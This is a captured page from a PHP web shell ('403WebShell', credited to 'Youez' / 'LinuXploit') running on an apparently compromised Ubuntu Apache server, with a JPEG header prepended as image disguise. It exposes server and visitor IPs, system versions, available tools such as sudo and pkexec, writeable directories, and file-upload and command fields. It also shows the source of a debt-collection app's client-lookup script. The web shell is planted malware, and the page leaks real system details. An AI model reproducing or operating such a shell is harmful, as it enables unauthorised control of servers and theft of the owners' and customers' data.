����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.71
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/debtcollector/ios/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/debtcollector/ios/get_client.php
<?php

$html = '<div style="margin:0 auto ;text-align:center;width:80%"><img src="../../image/warning.png"><h3>No se encontro cobrador, Error General 1 <a href="../main/index.php">Menu Principal</a></h3>
	</div>';
$html_error = '<div style="margin:0 auto ;text-align:center;width:80%"><img src="../../image/warning.png"><h3>No se encontro cobrador(registrado), Error General 2  <a href="index.html">Menu Principal</a></h3>
	</div>';
	
$titlepage="Phantom Pagos";
$idsmenu=2;

require_once ("../../model/dbconn.php");
require_once ("../../model/pos.php");
require_once ("../../../library/config.php");

//por si no soporta idioma español el servidor
$diassemana = array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sábado");
$meses = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");


	$dayNumber=strftime("%d");
	$pay_period="S";
	$pay_period2="M";
    $currentDay=strtoupper($diassemana[date('w')]);

if($_GET['id_collector']){
	


		// Obtiene la fecha y semana actual
		$fechahoy = date("d-m-Y");
		$semana = date("W");

		// Recupera el ID del cobrador desde los parámetros de la URL
		$id_collector = isset($_GET['id_collector']) ? $_GET['id_collector'] : null;
		if ($id_collector === null) {
			echo json_encode(["error" => "El parámetro 'id_collector' es necesario."]);
			exit;
		}

		// Instancia de la clase pos
		$pos = new pos();

		// Obtener las rutas pendientes para el cobrador específico
		$pending = $pos->getPendingRouteByColector($id_collector);

		// Verificación de que las rutas están disponibles
		if (isset($pending[2])) {
			$pending_route = $pending[2];
		} else {
			echo json_encode(["error" => "No se encontraron rutas pendientes para este cobrador."]);
			exit;
		}

		// Optimización: Si getSaleDetailIdSale consulta la base de datos, puede ser más eficiente hacerlo en un solo paso para evitar múltiples consultas
		// Puede ser necesario implementar una función que obtenga todos los detalles de ventas a la vez para evitar múltiples consultas a la base de datos
		foreach ($pending_route as $key => $route) {
			// Verifica si existe el 'sale_id' en la ruta
			if (isset($route['sale_id'])) {
				// Obtén el detalle de la venta para esta ruta
				$saleDetail = $pos->getSaleDetailIdSale($route['sale_id']);
				
				// Verifica si el detalle de la venta existe y asigna la mercadería
				if (isset($saleDetail[1])) {
					$pending_route[$key]['mercancia'] = $saleDetail[1];
				} else {
					$pending_route[$key]['mercancia'] = 'No disponible'; // Si no se encuentra mercadería
				}
			} else {
				$pending_route[$key]['mercancia'] = 'ID de venta no válido'; // Si no existe un 'sale_id' en la ruta
			}
		}

		// Imprime las rutas pendientes con la mercadería incluida en formato JSON
		echo json_encode($pending_route);

}else{
	
	
			echo json_encode("Error","No se cargo el dato del cobrador");
		
	
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit